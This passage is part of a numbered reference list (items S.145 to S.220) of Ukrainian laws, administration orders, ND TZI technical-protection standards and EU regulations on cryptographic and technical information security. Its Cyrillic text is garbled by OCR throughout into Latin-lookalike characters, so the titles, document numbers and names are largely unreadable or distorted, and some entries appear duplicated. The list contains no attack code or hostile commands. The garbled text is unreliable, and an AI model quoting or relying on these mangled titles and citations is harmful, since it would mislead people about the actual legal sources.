HAJIEXKaTh 0 KpUNTOrpadiyHUX CHUCTEM, 3aC00IB KPUOTOrpadiyHOTO Ta TEXHIYHOTO
3axucTy 1HpopMallii abo MICTATh Y CBOEMY CKJIa/l Taki 3aco0M», 3apeeCTpOBaHUM B
Minictepctsi octuiii Ykpainu 01.04.2011 3a Ne 437/19175.

S.145. Haka3z Apaminictparii Jepxcnenss’sizky Big 18.12.2012 Ne 739 «IIpo
3arBep/KeHHs  Bumor g0  dopmatiB  kpunrorpadiuHUX — MOBIIOMIICHBY,
3apeectpoBanuii B MiHicTepctsi toctuiiii Ykpainu 14.01.2013 3a Ne 108/22640;.

S.146. Haka3z Anaminictparii Jepxcnenss’sizky Big 02.12.2014 Ne 660 «IIpo
3arBep/KeHHsT [lopsiaKy OINHKM CTaHy 3aXMINEHOCTI Jep:KaBHUX 1HGOpMAIiiTHUX
pecypciB B iHbOpMaIiiiHUX,  TEJICKOMYyHIKalmiMHUX Ta  iH(OopMaIiifHO-
TeaeKoMyHiKaiitHux CrucreMax», 3apeecTpoBaHuil B MiHICTEpPCTBI FOCTULIT Y KpaiHU
28.01.2015 3a Ne 90/26535.

S.147. Haka3z Anminictparii Hepxcnen3s’szky Big 05.10.2017 Ne 547 «IIpo
3aTBEpKEHHS YHI1(p1KOBaHO1 (POpMH aKTa, CKIAJEHOTO 3a Pe3yJbTaTaMu MPOBEICHHS
IJIAHOBOTO (MO3aIIaHOBOTO) 3aXOJy JAEp:KaBHOTO HArJsay (KOHTPOJIIO) IIOJIO0
JOJIep KaHHS  JIIEH31aTOM BUMOT JILEH3IMHUX YMOB Yy cdepl NpOBaKEHHS
rOCIOAAPCHhKOT MISITBHOCTI 3 HAJAHHS TMOCIYT Yy Taimy3l KpUNnTorpadiuHoro 3axXucTy
iH(MOopMaIlii (KpiM MOCTYT eIeKTPOHHOTO MU(PPOBOTO MIAMUCY) Ta TEXHIYHOTO 3aXUCTY
iHdopmalli 3a mepenikoMm, IO Bu3HadaeTbes KaGinerom MiuicTpiB YkpaiHu»
3apeecTpoBanuii B MinictepcTsi roctuilii Yipainu 30.10.2017 3a Ne 1323/31191.

S.148. Cninbamit Haka3z MinictepcrBa nudpoBoi Tpanchopmariiii Ykpainu ta
Anminictpanii Jepxcnens3s’sizky 30.09.2020 Ne 140/614 «IIpo BcTaHOBIICHHSI BUMOT
710 TEXHIYHUX 3aC001B, MPOIIECIB X CTBOPEHHS, BUKOPUCTAHHS Ta (DYHKIIIOHYBAaHHS Y
cKJazl IHpopMalIHHO-TEIEKOMYHIKAIIMHUX CUCTEM IT1J1 Yac HaJaHHs KBalTi(1KOBAaHUX
€JIEKTPOHHHUX JOBIPYUX MOCIYI», 3apeecTpoBaHuil B MiHICTEpCTBI I0CTULIIT YKpaiHU
22 woBTHs 2020 p. 3a Ne 1039/35322.

S.149. Haka3z Anminictparii Jepxkcnen3s’s3ky Big 27.10.2020 Ne 687 «IIpo
3aTBEPKEHHS TEepeNiKy CTaHJIApTIB Ta TEXHIYHMX crenudikaiii, J03BOJECHUX IS
peanizariii B 3acobax kpunrorpadiqHoro 3axucty iHdopMmaiiii;.

S.150. Hakaz  MinictepcTBa  rocTuilii  YKpaiHu Ta  AnmiHicTpairii
Hepxcnenss’sizky Big 20.08.2012 Ne 1236/5/453 «IlIpo 3aTBepiKeHHS BHUMOT 10
dbopmariB, CTPYKTypH Ta MPOTOKOJIB, IO peaji3yloTbCcs Yy HAIAIWHUX 3acobax
€JIEKTPOHHOTO IU(POBOTO MIAMKUCY», 3apeecTpoBaHWi B MIHICTEPCTBI IOCTHIIIT
VYkpaiau 20.08.2012 3a Ne1398/21710;.

S.151. Hakaz  MinictepcTBa  rocTHIlii  YKpaiHM Ta  AnMiHicTpaiii
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Hepxcnen3s’sizky Bin 27.12.2013 Neo 2782/5/689 «Ilpo 3aTtBepmkeHHS BHUMOT 0
anropuTMiB, (hopMatiB Ta iIHTEpQEHCIB, 0 peali3yloThcs y 3aco0ax mudpyBaHHs Ta
HaZlfHUX 3aco0ax eJIeKTPOHHOTO IU(POBOro MIAMKHCY», 3apPEECTPOBAHUN B
Minictepctsi 1ocTuilii Ykpainu 27.12.2013 3a Ne 2227/24759;.

S.152. HA T3I 1.1-001-99 Texniunuii 3axuct iH(popmallii Ha MPOTPaMHO-
kepoBanux ATC 3arampHOro kopuctyBaHHs. OCHOBHI TOJIOKEHHS, 3aTBEPHKCHUI
Haka3om JICTC3I CBY Big 28.05.1999 Ne 26;.

S.153. HJI T3I 1.1-002-99 3aranbHi mo0KeHHS IIOAO 3aXUCTy iHGopMaIllii B
KOMIT FOTEPHUX CHCTEMaxX BiJl HECAHKIIIOHOBAHOTO JOCTYITy, 3aTBEPKEHUN HaKa30M
JCTC3I CBY Bix 28.04.1999 No 22;.

S.154. HJI T3I 1.1-003-99 Tepminomoris B ramy3i 3axucty iHpopmarii B
KOMIT FOTEPHUX CHCTEMaxX BiJl HECAHKIIIOHOBAHOTO JOCTYITy, 3aTBEPKEHUN HaKa30M
JNCTC3I CBY Bix 28.04.1999 Neo 22;.

S.155. HJ T3I 1.4-001-2000 TwurmoBe TMOJOXKEHHS NPO CIYKOy 3aXHCTy
iH(opMariii B aBTOMaTU30BaHUX cucTeMax, 3arBeppkenuii HakazoM JICTC3I CBY Big
04.12.2000 Ne 53.

S.156. HA T3I 1.4-002-2008 Pamionokaropu HemiHilHI. Kiacudikarris.
PexomenmoBani Meroau Ta 3aco0uM BUIMPOOYBaHb, 3aTBEP/HKCHUN HaKa30M
Anminictpanii Hepsxkenenss’si3ky Big 14.02.2008 Ne 32;.

S.157. HA T3I 1.5-001-2000 PamioBusiaroBaui. Kitacudikariis. 3araibHi
TEeXHIUH1 BUMOTH, 3aTBepixkeHnit Hakazom JICTC3I CBY Bix 13.06.2000 Ne 29.

S.158. H T3I 1.5-002-2012 KnacudikaTtop 3aco0iB TEXHIYHOTO 3aXHCTy
1H(popmarii, 3aTBepaKeHnid Haka3zoM AamiHicTpaii Jepxcenenss’s3ky Bix 29.08.2012
Ne 472,

S.159. HJI T3I 1.6-002-2003 IpaBuna modymaoBu, BUKIAAEHHS, OPOPMIICHHS Ta
MO3HAYEHHS HOPMATUBHHUX JIOKYMEHTIB CHUCTEMH TEXHIYHOTO 3aXMCTy 1H(pOpMallii,
satBepmkennii HakazoM JICTC3I CBY Bix 24.04.2003 Ne 41.

S.160. HA T3I 1.6-003-2004. CTBOpeHHS KOMILJIEKCIB TEXHIYHOTO 3aXHCTYy
iHdopmarii Ha oO'ektax 1H(opmariiiHoi misuibHOCTI. [lpaBuna po3poOiieHHs,
moOy10BH, BUKJIAJCHHS Ta 0opOpMIICHHS MOJIei 3arpo3 [y iHhopMariii.

S.161. HA T3I 1.6-005-2013 3axuct indopmaiiii Ha 06’ ekTax iHMOPMAITIIHOT
nismbHOCTI. ITo0KeHHS PO KaTeropiroBaHHS 00 €KTIB, JIe MUPKYIOE 1HGOpMAITis 3
OOMEKEHUM JOCTYIIOM, III0 HE CTAaHOBUTH JCP>KABHOI TAEMHHUIIl, 3aTBEPKEHUN
Haka3zoM Aaminictpaii depxcnenss’s3ky Big 15.04.2013 Ne 215;.

S.162. HJ T3I 2.3-001-2001 PamioBusBitoBadi BUMiproBaibHI. Metoau Ta
3acoOu BunpoOyBaHsb, 3arBepkeHuit HakazoM JICTC3I CBY Bix 27.02.2001 Ne 5;.

S.163. HA T3I 2.3-002-2001 TexHiuHMil 3axucT MOBHOI 1H(poOpMaIlii B
CUMETPUYHUX B CUMETPUYHUX AOOHEHTCHKUX aHAJOTOBHX TeJNe(POHHUX JIHIAK.
3aco0M MacUBHOTO MPUXOBYBaHHS MOBHOI 1H(popMauii. HeminiiiHi ateHoaTtopu Ta
3aropojyKyBasibHl  (PpinbTpu. MeTonuka BUNPOOYBaHb, 3aTBEP/HKCHUN HaKa30M
JNCTC3I CBY Big 06.04.2001 Ne 11.

S.164. HA T3I 2.3-003-2001 Texuiyamii 3axuct MOBHOI iH(poOpMaIlii B
CUMETPUYHUX B CHUMETPUYHUX aOOHEHTCHKMX aHAJOTOBUX TeNe()OHHUX JHIAX.
3aco0u MacMBHOTO TMPUXOBYBaHHS MOBHOI 1H(popmarii. ['eHepaTopu cremalbHIX
curHaiiB. Mertonuka BunpoOyBanb, 3arBepkeHuil Hakazom JICTC3I CBY Bin
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06.04.2001 Ne 11;.

S.165. HA T3I 2.3-004-2001 PanmioBusiBmroBaul iHAWKaTOpHI. Mertoau Ta
3acobu BUNpoOyBaHsb, 3aTBepkenuil HakazoMm JICTC3I CBY Bix 09.04.2001 Ne 12H/T
T31 2.3-005-2001 PamioBusBmtoBaui maHopaMmHi. Meroau Ta 3aco0u BUIIPOOYBaHb,
satBepkennit HakazoM JICTC3I CBY Big 11.09.2001 Ne 54.

S.166. HJ T3I 2.3-006-2001 PanioBusiBiItoBaui aHamizyBajibHi. MeTtomu Ta
3acobu BurpoOyBaHb, 3arBepkeHnit Hakazom JJCTC3I CBY Bix 06.11.2001 Ne 64.

S.167. HJ T3I 2.5-001-99 Texniunuii 3axuct iHpOpMaIii Ha MPOTPaAMHO-
kepoBanux ATC 3arampHOTO KOopucTyBaHHA. Crienudikartii GyHKIIOHATFHUX TTOCITYT
3axucty, 3aTBepmkenuit Hakazom JJCTC3I CBY Bix 28.05.1999 Ne 26.

S.168. HJ T3I 2.5-002-99 Texniunuii 3axuct iHpOpMaIii Ha MPOTPaAMHO-
kepoBannx ATC 3aranmpHOro KopuctyBaHHs. Crenudikamii TrapaHTii 3aXHUCTy,
3atBepkenuit HakazoM JJCTC3I CBY Bix 28.05.1999 Ne 26.

S.169. HA T3I 2.5-003-99 Texniunuii 3axuct iHdopmMarllii Ha MPOTPaMHO-
kepoBanux ATC 3arampHOoro kopuctyBanHs. Cnenudikaiii TOBIpYMX OILIHOK
KOPEKTHOCT1 peanizamii 3axucry, 3aTBep/keHuii Hakazom JICTC3l CBY Big
28.05.1999 Ne 26;.

S.170. HA T3I 2.5-004-99 Kputepii OIIHKK 3axXMIIEHOCTI iHGopMalii B
KOMIT FOTEPHUX CHCTEMax BiJl HECAaHKIIIOHOBAHOTO JIOCTYIY, 3aTBEP>KEHUN HAKa30M
JNCTC3I CBY Bix 28.04.1999 No 22 (3mina Ne 1 Haxka3 Big 28.12.2012 Ne 806).

S.171. HJI T3I 2.5-005-99 Knacudikaiisi aBTOMaTH30BaHUX CHUCTEM 1
CTaHJapTH1 (PyHKIIOHAIBHI Mol 3aXUIIEHOCTI 00poOIIIOBaIbHOI 1H(OpMaIlIii Bij
HECaHKI[IOHOBAHOTO A0CcTyny, 3aTBepukeHnil HakazoMm JICTC3I CBY Binx 28.04.1999
Ne 22.

S.172. HA T3I 2.5-006-99 Knacudikatop 3acob0iB  KOIMiIOBaJIBHO-
PO3MHOKYBaJIbHOT TeXHiKH, 3aTBepkeHuit HakazoM JICTC3I CBY Big 26.07.1999 Ne
34;.

S.173. HJ T3I 2.5-008-2002 Bumoru 13 3axucTy ciy»00Boi iH(opmarlrii Bif
HECaHKI[IOHOBAHOTO JIOCTYIY Mij] Yac 00pOOKH B aBTOMAaTU30BaHMX CUCTEMAX KJlacy 2,
satBepkennii HakazoM JICTC3I CBY Bix 13.12.2002 Ne 84.

S.174. HA T3I2.5-010-2003 Bumoru no 3axucty indopmariii WEB — cTopinku
BIJI HECAHKIIIOHOBaHOTO jocTymy, 3arBepmkenuit Hakazom JICTC3I CBY Big
02.04.2003 Ne 33.

S.175. HJI T3I 2.6-001-2011 Ilopsmox mpoBeaeHHS poOIT 3 Iep:KaBHOI
€KCIIePTU3H 3aC001B TEXHIYHOTO 3aXUCTY 1H(POpPMAIIii BJT HECAHKI[IOHOBAHOTO IOCTYIY
Ta KOMIUIEKCHUX CHUCTEM 3axHUCTy 1H(dopmallii B iHpopMaliiHO-TEIeKOMYHIKallIMHUX
Cucremax, 3aTBepakeHUd Haka3zoM AamiHicTpaii [epxcenenss’s3ky Bia 25.03.2011
Ne 65.

S.176. HA T3I 2.6-002-15 Tlopsimox 3icTaBieHHS (YHKIIOHAJIbHUX
koMmItoHeHTIB Oe3meku, Bu3HaueHnX ISO/IEC 15408, 3 sumoramu HJ[ T31 2.5-004-99,
3aTBepKEHUH Haka3zoMm AnminicTtpaiii Jepxcnern3s’s3ky Binx 27.04.2016 Ne 293;.

S.177. HA T3I 2.6-003-2015 Tlopsimok 3icTaBIeHHS KOMIIOHEHTIB JOBIpH 0
Oesneku, Bm3HaueHux [SO/IEC 15408, 3 sBmmoramm HJI T3I 2.5-004-99,
3aTBepKEHUH Haka3oMm AnmiHicTtpaiii Jlepxcnen3s’s3ky Big 27.04.2016 Ne 294;.

S.178. HJI T3I 2.6-013-2016 MeToauuHi BKa3iBKH 3 BUKOHAHHS 31CTaBJICHHS
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pe3yNbTaTiB OIIHIOBAHHS 3ac0o0iB 3axWcTy 1HQOpMaIli BiJ HECAHKIIIOHOBAaHOTO
noctymy Ha BianoBigHicTs Bumoram ISO/IEC 15408 3 sumoramu HJI T31 2.5-004-99,
3aTBepKeHU HakazoM Anminictparttii Jepkernenss’s3ky Big 27.04.2016 Ne 295;.

S.179. HA T3I 2.7-001-99 Texuiunuii 3axuct iHdoOpMalii B MNpOrpaMHO-
kepoBanux ATC 3arampHOro kopuctyBaHHs. [lopsimok BHUKOHaHHS — poOiIT,
satBepkennii HakazoMm JJCTC3I CBY Big 28.05.1999 Ne 26;.

S.180. HA T3I 2.7-002-99 MetoauyHi BKa3iBKM 3 BHUKOPUCTaHHS 3acO0iB
KOITIFOBaJIbHO-PO3MHOKYBAIbHOI TeXHIKH, 3aTBeppkeHnil HakazoMm JICTC3I CBY Bin
26.07.1999 Ne 34.

S.181. HA T3I 2.7-009-2009 MeTtoauyHi BKa3iBKA 3  OI[IHIOBAHHS
GyHKIIOHANPHUX ~ TOCHYr Oe3mekd B 3aco0ax 3axucTy iHGopmamii  BiX
HECaHKI[I0HOBAHOTO JOCTYILy, 3aTBEPKEHUN HAKa30M AnminHicTparii
Hepxcnenss’s3ky Bijg 24.07.2009 Ne 172;.

S.182. HA T3I 2.7-010-2009 MeroauyHi BKa3iBKM 3 OIIHIOBaHHS PIBHS
rapaHTii KOPEKTHOCTI peaizailii GyHKIIIOHATLHUX MOCIYT O€3MeKH B 3ac00aX 3aXUCTY
iH(opMarii BiJi HECAaHKIIIOHOBAHOTO JIOCTYITY, 3aTBEPKEHUH HaKa30M AMIHICTparii
Hepxcnenss’s3ky Big 24.07.2009 Ne 172.

S.183. HJA T3I 2.7-011-2012 3axuct indopmaiiii Ha 00’ekTax iHOpMAIIHHOT
TisITbHOCTI. MeToauyHl BKa3iBKH 3 PO3pOOKH METOIUKH BUSBJICHHS 3aKJIaTHUX
MPUCTPOIB, 3aTBEP/KEHUN Haka3oM AnmiHicTpaiii Jepxcnen3s’s3ky Big 23.07.2012
No 389;.

S.184. HJI T3I 3.6-001-2000 Texniunuii 3axuct iHdopmamii. Komm’ rorepHi
cucteMu. [lopsimok CTBOpEHHS, BIPOBAKEHHS, CYNPOBODKCHHS Ta MOJCpHi3aIlii
3aC00IB  TEXHIYHOrO 3axUCTy 1H(poOpMalii BiJ HECAHKLIOHOBAHOTO JIOCTYILY,
3arBepxeHui HakazoMm JJCTC3I Cb Ykpainu Big 20.12.2000 Ne 60.

S.185. HJI T3I 3.7-001-99 MeroauyHi BKa3iBKH MO0 PO3POOKH TEXHIYHOTO
3aBHaHHS HA CTBOPEHHS KOMIUIEKCHOI CHCTeMH 3axucTy iHopmarii B
aBTOMaTU30BaHii cuctemi, 3aTBepkennit HakazoMm JICTC3I CBY Bix 28.04.1999 No
22.

S.186. HA T3I 3.7-002-99 Texuiunuii 3axuct iHGOpMaIi HAa MPOrpaMHO-
kepoBanux ATC 3araapbHOrO KOpPUCTYBaHHS. MeToAMKa OIHKH 3aXUIICHOCTI
iH(dopmartii (6a3osa), 3aTBepkenuii HakazoMm JJCTC3I CBY Bix 28.05.1999 Ne 26.

S.187. HA T3I 3.7-003-05 TIlopsimok mpoBeneHHS poOIT 13 CTBOPEHHS
KOMILJIEKCHOI CHUCTEMHU 3axucTy iH(dopmallii B 1HQOpMaLIHHO-TEIEKOMYHIKaLIHINI
cucteMmi, 3arBepkeHnit HakazoM JJCTC3I Cb Ykpainu Big 08.11.2005 Ne 125.

S.188. HA T3I 4.7-001-2001 TexHiuHMii 3axucT MOBHOI 1H(oOpMAaIlii B
CUMETPUYHHUX AOOHEHTCHKUX aHAJOroBUX TeNe(OHHUX JHIAX. 3acO0M BU3HAYEHHS
HAsIBHOCTI Ta BIJIAJIEHOCT] MICI KOHTAKTHOI'O MIJKIOYEHHS 3aCc001B TEXHIYHOI
po3BiaKu. Pekomenpaarii 1moa0 po3poOieHHs] METO/IB BUMPOOYBaHb, 3aTBEPIXKCHUIN
nakazoM JICTC3I CBY Big 06.04.2001 Ne 11.

S.189. HA T3I P-001-2000 3acobu akTtuBHOrO 3axucTy iHboOpMarii 3
AKyCTUYHUMU Ta BIOPOAKyCTUYHUMH JiKepesiaMu BunipoMiHioBadHs. Kimacudikarris ta
3arajgbH1 TexHIYHI BUMorH, 3aTBepmkennid HakazoM JJCTC3I CBY Bix 04.09.2000 Neo
41.

S.190. ITonoxenn npo JlepxaBuuii meHTp Kidep3axucty [lepkaBHOi Ciy)Ou
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CHEIIaIbHOTO 3B A3KY Ta 3aXUCTy 1HhopMallii YKpaiHu y HOBIM peAaKilii, 3aTBepaKeHe
Haka3zoM AnmiHicTpartii Jlepxkcmnenss’sa3ky Bija 26 sxoBTHs 2020 poky Ne 686.

S.191. IlonoxkeHHs MO AEp’KaBHY €KCIEpTU3y B chepl TEXHIYHOTO 3aXHCTY
iH(dopMaIlii, 3aTBEepIKEHUM Haka3zoMm AjamiHicTparii [epkcnenss's3ky YKkpaiHu Bil
16.05.2007 p. Ne 93 1 3apeectpoBanuM B MiHicTepcTBi rocTullii Ykpainu 16.07.2007
p. 3a No 820/14087 (y penakmii Hakasy Apaminictpamii Jlep»kaBHOi CiyxOu
CHeIIaJbHOr0 3B'SI3Ky Ta 3axucTy iHpopmanii Ykpainu Big 13 sxoBtHs 2017 poky N
565).

S.192. Tlocranosa Kabinety MinictpiB Ykpainu Big 08.10.1997 Ne 1126 «IIpo
3aTBepakeHHs1 KoHen il TexHiYHoro 3axucty iHdopMmartlii B YKpaini»;.

S.193. TlocranoBa KaGinery MinictpiB Ykpainu Bix 04.02.1998 Ne 121 «IIpo
3aTBEPKEHHSI TMEpeiliky OOOB'A3KOBUX €TaliB poOIT MiJ dYac MPOEKTYBAaHHS,
BIIPOBA/KEHHS Ta €KCIUTyaTalli 3aco01B 1HPOpMATH3ALI1»;.

S.194. Tlocranosa Kab6inety MinictpiB Ykpainu Big 16.02.1998 Ne 180 «IIpo
3arBepKeHHs [lonoxeHHs mpo 3a0e3neyeHHs peKUMY CEKPETHOCTI IMiJT 4ac 00pOOKH
iHdopmalli, 1O CTAaHOBUTh JEpPKaBHY TaeEMHHIIO, B  iH(}opmaIiiiHo-
TeJEKOMYHIKalHUX Ta iHopmaliiitnux CucrteMaxy;.

S.195. Ilocranosa Kab6inery MinictpiB Ykpainu Big 08.06.1998 Ne 838 «IIpo
3aTBep/keHHs [loNOXKEeHHS Npo MOPSJIOK HaJaHHS CyO’€KTaM TIOCIOJapIOBaHHS
JUSUTBHOCTI TOBHOBAXEHb HA TMPaBO 3IIHCHEHHS EKCIOpPTY, IMIIOPTY TOBAapiB
BIMICHKOBOTO MPHU3HAYEHHSA Ta TOBApIB, SIKI MICTATh BIJOMOCTI, IIO CTAHOBIIATH
JepKaBHY TAEMHHIIION.

S.196. IlocranoBa KaGinery MinictpiB Ykpainu Bix 13.03.2002 Ne 281 «IIpo
JesIKl MUTAHHS 3aXUCTY 1H(OpMalli, 0XOpOHA AKO1 3a0€3MeUy€eThCs IEPKABOIOY.

S.197. Tlocranosa KaGinery MinictpiB Ykpainu Bix 12.04.2002 Ne 522 «IIpo
3aTBepmkeHHs [lopsaky miakIoueHHs 10 TI00aIbHIX MEPEXK Mepeaadi JaHuX).

S.198. Ilocranosa KaGinetry MinicTpiB Ykpainu Bix 16.11.2002 Ne 1772 «IIpo
3arBepKeHHs [lopsinky B3aemomii OopraHiB BUKOHABYOi BJIaU 3 MUTaHb 3aXUCTY
Jep>kaBHUX 1HGOPMAIITHUX pecypciB B 1H(OpPMAIIHHUX Ta TEIECKOMYHIKAIIHUX
Cucremaxy.

S.199. Ilocranora KaGinetry MinictpiB Ykpainu Bix 20.11.2003 Ne 1807 «IIpo
3atBep/keHHsl [lopsinky 311HCHEHHS JepKaBHOTO KOHTPOJIIO 33 MIKHApOAHUMHU
nepeaadaMy TOBapiB BICHKOBOTO MTPU3HAYCHHS.

S.200. TlocranoBa Kab6inety MinictpiB Ykpainu Big 28.01.2004 Ne 86 «IIpo
3atBepmkeHHsl [lopsinky 3MiliCHEHHS JEp)KaBHOTO KOHTPOJIIO 3a MiXHAPOJAHUMHU
nepeaadyaMy TOBapiB MOABIHHOTO BUKOPUCTAHHS.

S.201. TNocranosa Kab6inery MinictpiB Ykpainu Big 29.03.2006 Ne 373 «IIpo
3arBep/keHHs1 [lpaBun 3a0esneueHHs 3axucty iHopmallii B iH(opmaiiiHux,
TEJEKOMYHIKALIHUX Ta 1H(QopMaiiHO-TelleKoOMYHIKaiiHuX CrucremMaxy.

S.202. Tlocranora KabGinety MinictpiB Ykpainu Big 03.09.2014 Ne 411 «IIpo
3arBepKeHHs [lomoxenus mpo AamiHicTpariito Jlep:kaBHOI CIIy»)OHW CHEIiabHOTO
3B’SI3KY Ta 3aXUCTy iHPOpMaIlii YKpaiHu;.

S.203. Ilocranosa Kab6inery MinictpiB Ykpainu Big 05.08.2015 Ne 609 «IIpo
3aTBEPKEHHS TEPENiKy OpraHiB JIIEH3YBaHHS Ta BU3HAHHS TAaKUMHU, 110 BTPATHIIH
YUHHICTB, AKX noctanoB Kabinety MiHicTpiB Ykpainu.
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S.204. Tlocranosa Kabinety MinictpiB Ykpainu Bix 16.12.2015 Ne 1057 «IIpo
BU3HAUYCHHS cdep MISUIbHOCTI, B SAKUX IEHTpalbHI OpraHd BHKOHABYOi BIAJU
3MIMCHIOIOTH (PYHKIIIT TEXHIYHOTO PETYIIOBAHHS.

S.205. Ilocranosa Kabinety MinictpiB Ykpainu Big 27.01.2016 Ne 96 «IIpo
3aTBepkeHHs [lopsinky Bumadi abo BIIMOBH y BHJA4l PIIICHHS PO IMPU3HAYCHHS,
foro nepeodopMIIeHHS Ta BUAa4l HOro ay0JiKaTa, po3IIMPEeHHS Ta 00MeXeHHs cepu
NpU3HAYEHHS, TUMYAacOBOIO TMPUIIMHEHHS 1 TIOHOBIIGHHA [ii pIMIEHHS TMIpO
MIPU3HAYEHHS Ta aHYJIIOBaHHS TAKOTO PINICHHS Ta BH3HAHHS TaKWUMH, IO BTPATHIIA
YUHHICTH, AKX TocTaHoB Kabinety MinicTpiB Ykpainmy.

S.206. ITlocranoBa KaGinery MinictpiB Ykpainu Bix 19.10.2016 Ne 736 «Ilpo
3aTBep/KeHHsI THUIMOBOI 1HCTPYKLII TPO MOPSIOK BEIEHHS 00Ky, 30epiraHHs,
BUKOPHUCTAHHA 1 3HUIICHHS JOKYMEHTIB Ta 1HIIUX MaTepialbHUX HOCIIB 1H(OpMaIlii,
110 MICTSTh CIIy>kKOOBY 1H(OpMaIiIO».

S.207. Ilocranora Ka6inery MinictpiB Ykpainu Big 16.11.2016 Ne 821 «Jlesiki
MUTaHHS JIIEH3yBaHHS TOCMHOJAPChKOI MISUIBHOCTI 3 HaJaHHS IOCIAYr y Taly3i
KpurnrorpadiuHoro 3axucty iH@opMmarii (KpiM MOCIYT €JIEKTPOHHOTO HH(PPOBOIrO
MIANUCY) Ta TEXHIYHOro 3axucTy iHdopmarlii, 3a MEepeiikoM, IO BU3HAYAETHCS
Kabinetrom MiHicTpiB YKpaiHum».

S.208. IlocranoBa KabGinery MinictpiB Ykpainu Big 10.05.2018 Ne 342 «IIpo
3aTBEP/KEHHS METOJMK PO3POOJICHHSI KPUTEpIiB 3a SIKUMH OIIIHIOETHCS CTYIIIHb
PHU3UKY BiJl MPOBAI>)KEHHS TOCTIOAPCHKOI A1STIbHOCTI Ta BU3HAYAETHCS TIEPIOIUUHICTh
NPOBEJCHHS IUIAHOBUX 3aXOJIB JAEPKABHOTO HArasay (KOHTPONIO), a TaKoX
yHi(p1KOBaHUX (OPM aKTIB, IO CKJIAIAOTHCS 32 PE3yJbTaTaMU ITPOBEACHHS INIAHOBUX
(To3ary1aHOBHX ) 3aXOIIB JIEPAKABHOTO HATJISILY (KOHTPOJIIO)»;.

S.209. TlocranoBa KaGinery MinictpiB Ykpainu Bix 19.09.2018 Ne 749 «IIpo
3aTBepkeHHs [lopsAaKy BUKOpHUCTAaHHS €IEKTPOHHHX JOBIPYMX MOCITYT B OpraHax
JIEp>KaBHOI BIaJM, OpraHax MICIIEBOTO CaMOBPSyBaHHS, MIANPUEMCTBAX, YCTAHOBAX
Ta OpraHizaiisx Jep>XKaBHOT (POPMHU BIACHOCTIY;.

S.210. IMocranosa Kab6inery MinictpiB Ykpainu Big 31.10.2018 Ne 915 «IIpo
3aTBEPKEHHSI KPUTEPIiB, 32 SKUMH OI[IHIOETHCSA CTYIIHb PU3UKY BiJ MPOBAIKCHHS
rOCIOAAPCHhKOT AISUTBHOCTI, IO MIJJISITaE JIEH3YBaHHIO, Y cepl HalaHHS MOCIYT Y
rajry3i kpunrorpadiqHoro 3axucty iHpopMmailii (KpiM eJIeKTPOHHUX JTOBIPYUX MOCITYT)
Ta TEXHIYHOTO 3axUCTy iHdopmarlii 3a mepenikoM, 1o Bu3HaudaeThess KabiHeTom
MiHicTpiB YKpaiHu, 1 BCTAHOBIIIOETHCS MEPIOIUYHICTh IPOBEICHHS MIJIAHOBHUX 3aXO0/11B
JIep>kaBHOTO  Hamsiay  (KOHTposito)  AamiHicTparieto  JlepkaBHOT — ciy»xOu
CIELIJIBHOTO 3B’SI3KY Ta 3aXUCTY 1H(MOpMaIIii»;.

S.211. TlocranoBa Ka6inery MinictpiB Ykpainu Big 07.11.2018 Ne 992 «IIpo
3aTBEPJIKEHHS BUMOT y cpepi eIeKTpOHHUX J10BipuKX nociyr Ta [lopsaky nepesipku
JOTPUMAaHHS BUMOT 3aKOHOJABCTBA Y c(hepi eNEKTPOHHUX TOBIPUUX MOCITYTY;.

S.212. Tlocranora Ka6inety MinictpiB Ykpaiau Big 16.11.2018 No 821 «lesiki
MUATaHHS JIIEH3yBaHHS TOCTOJAPChKOI ISIIBHOCTI 3 HAJaHHSA TMOCIHYr y Taiysi
KpunrorpadigHoro 3axucty iH@opMmarii (KpiM MOCIYT EJIEKTPOHHOTO MH(PPOBOTO
MIANUCY) Ta TEXHIYHOTO 3axWcTy iHQopMarlii 3a MepesikoM, IO BU3HAYAETHCA
Kab6inetrom MiHicTpiB YKpaiamy;.

S.213. TlocranoBa KMY Bix 19 uepBus 2019 poky Ne 518 «IIpo 3aTBepxeHHS
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3araabHUX BUMOT A0 KiOep3axucTy 00’ €KTIB KPUTHYHOI 1HOPACTPYKTYPH.

S.214. TlocranoBa KaGinery MinictpiB Ykpainu Big 21 sxoBTHs 2020 p. No 991
«IIpo 3aTBepKkeHHss TeXHIYHOrO perjiaMeHTy 3aco0iB KPUITOTPadidyHOTO 3aXHCTY
iHopMaIii».

S.215. IlocranoBa KabGinety MinictpiB Ykpainu Bin 23 rpyaus 2020 poxy
Nel295 «Jlesiki muraHHs 3a0e3nedeHHs (YHKIIOHYBAHHS CHUCTEMHU BHUSBIICHHS
BPa3JIMBOCTEH 1 pearyBaHHs Ha KIOSPIHIIUICHTH Ta Ki0epaTaKmy.

S.216. Ilocranoa KabGinery MinictpiB Ykpaiau Bim 23 rpymaas 2020 poxy
Nel363 «IIpo peamizaiito €KCHEPUMEHTAIBHOTO MPOEKTY IIOAO 3alPOBAKCHHS
KOMILJIEKCY OpTraHi3aliifHO-TEXHIYHUX 3aXO0/1IB 3 BUSIBICHHS BPa3JIMBOCTEH 1 HETOIIKIB
y HajamTyBaHHI 1H(OpMAaLIMHUX, TEIEKOMYHIKAIIHHUX Ta 1H(OpMaLiiHO-
TEJICKOMYHIKALIMHUX CHUCTEM, B SKHUX OOpOOMISIOTHCA JAepkaBHI 1HQOpMaIliiiHi
pecypcm».

S.217. TlocranoBa Kabinety MinictpiB Ykpainu Big 8 mrororo 2021 p. Ne94
«IIpo peamizamito  E€KCIMEPUMEHTAIBHOTO TMPOEKTY MO0  (YHKIIOHYBAHHS
HarionansHOTO HIEHTPY pe3epBYyBaHHS AepKaBHUX 1HOOPMAIIHHUX PECYPCIBY.

S.218. IlpaBuna mnpoBeneHHs poOIT 13 cepTUdikaiii 3aco0iB  3aXUCTy
iH(dOopMaIlii, 3aTBEpPKEHUMHU CIUIBHUM Haka3zoM AmiHicTpali Jlepkcrnen3s's3ky Ta
HepxxcnoxuBcrangapty Ykpainu Bix 25.04.2007 p. Ne 75/91 1 3apeectpoBaHuMu B
Minictepctsi octuilii Ykpainu 14.05.2007 p. 3a Ne 498/13765.

S.219. Pernament (€C) No 526/2013 €spomneiicskoro [Tapmamenty Ta Pagu Big
21 tpaBnsa 2013 poky npo AreHTcTBO €BpOonenchbkoro Cor3y 3 MUTaHb MEPEKEBOI Ta
iHopmariitnoi 6e3nexu (ENISA) ta mpo ckacyBanust Pernamenty (€C) No 460/2004
(OBL165,18.6.2013,c.41).

S.220. Pernament €poneiicbkoro [lapnamenty i Pagu (€C) 2019/881 Big 17
